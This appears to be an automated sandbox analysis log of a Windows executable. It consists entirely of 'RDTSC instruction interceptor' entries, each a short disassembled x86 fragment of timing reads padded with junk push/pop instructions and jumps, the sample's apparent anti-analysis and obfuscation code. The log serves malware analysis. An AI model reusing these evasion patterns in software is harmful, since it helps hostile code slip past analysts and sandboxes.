Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C8C4 second address: 94C8D9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F01F07425C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jg 00007F01F07425CEh 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94D7BD second address: 94D7C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94D7C1 second address: 94D7C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94D7C7 second address: 94D7D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F01F0E69E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E2CC second address: 94E2D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E2D2 second address: 94E2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E2D6 second address: 94E2E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E2E5 second address: 94E2EF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F01F0E69E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9520B8 second address: 9520BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907716 second address: 90771F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90771F second address: 907727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907727 second address: 90772D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90772D second address: 907744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F07425CAh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907744 second address: 90774C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953C58 second address: 953C7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F01F07425CCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954C2D second address: 954C31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954C31 second address: 954C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954C3E second address: 954C5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F01F0E69E2Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957CFD second address: 957D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jnc 00007F01F07425C8h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F01F07425C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AF21 second address: 95AFA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, si 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F01F0E69E28h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b jl 00007F01F0E69E2Ch 0x00000031 mov dword ptr [ebp+122D238Eh], ecx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F01F0E69E28h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 mov ebx, 3B119F00h 0x00000058 jmp 00007F01F0E69E2Eh 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AFA1 second address: 95AFA7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953DFA second address: 953DFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953DFF second address: 953E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F07425D5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F01F07425CCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 954E03 second address: 954E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955F27 second address: 955F2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D03D second address: 95D0B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F01F0E69E26h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F01F0E69E28h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 or di, C6C3h 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D2772h], ecx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F01F0E69E28h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 jns 00007F01F0E69E2Ch 0x00000058 mov ebx, dword ptr [ebp+122D1CF8h] 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push esi 0x00000062 pushad 0x00000063 popad 0x00000064 pop esi 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D0B4 second address: 95D0BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D0BA second address: 95D0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D0BE second address: 95D0C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957E51 second address: 957E84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F01F0E69E39h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957F58 second address: 957F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957F5C second address: 957F62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957F62 second address: 957F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957F68 second address: 957F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E0A2 second address: 95E0AC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F01F07425C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E0AC second address: 95E0C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F01F0E69E28h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958E82 second address: 958E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F01F07425CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958E95 second address: 958E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959F3D second address: 959F43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958E99 second address: 958E9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959F43 second address: 959F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F01F07425D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959F58 second address: 959F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959F79 second address: 959F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958F63 second address: 958F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959F7E second address: 959F84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F1C6 second address: 95F1CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958F67 second address: 958F6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961549 second address: 96154D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96154D second address: 961551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962426 second address: 96242A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960535 second address: 96054F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a ja 00007F01F07425CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96054F second address: 960553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C0A5 second address: 95C0AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C0AA second address: 95C0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F0E69E39h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F01F0E69E26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C0D5 second address: 95C0DF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F01F07425C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C194 second address: 95C1A5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C1A5 second address: 95C1A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96267D second address: 962681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B34A second address: 96B350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AD4A second address: 96AD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F01F0E69E26h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F01F0E69E39h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E85E second address: 96E86D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F01F07425C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97002F second address: 970035 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976EC1 second address: 976EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975BAF second address: 975BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F01F0E69E28h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97619C second address: 9761A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97646F second address: 976473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976754 second address: 976758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976758 second address: 976762 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F01F0E69E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976762 second address: 97677B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F01F07425CFh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97677B second address: 976799 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jc 00007F01F0E69E26h 0x00000010 pop edx 0x00000011 jmp 00007F01F0E69E2Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976799 second address: 9767A4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9767A4 second address: 9767AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BA7 second address: 976BB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BB0 second address: 976BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BB6 second address: 976BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ebx 0x00000008 jne 00007F01F07425C6h 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F01F07425C8h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F01F07425D4h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BE6 second address: 976BF2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F01F0E69E26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BF2 second address: 976BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F01F07425C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976D61 second address: 976D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B875 second address: 97B899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F07425D2h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jnc 00007F01F07425C6h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A76E second address: 97A778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F01F0E69E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F418 second address: 94F41E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F41E second address: 94F424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F4D3 second address: 94F4DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F965 second address: 94F96B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F96B second address: 94F96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F96F second address: 94F98F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F01F0E69E2Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F98F second address: 94F995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F995 second address: 94F999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F999 second address: 94F9CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jng 00007F01F07425E2h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F01F07425D0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F9CA second address: 94F9CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F9CE second address: 94F9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FE5E second address: 94FE7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F01F0E69E38h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94FE7F second address: 94FE85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950649 second address: 95064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95064D second address: 95066E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95066E second address: 950679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F01F0E69E26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950679 second address: 9506A4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 lea eax, dword ptr [ebp+124951F9h] 0x0000000f stc 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007F01F07425D4h 0x0000001b popad 0x0000001c rdtsc
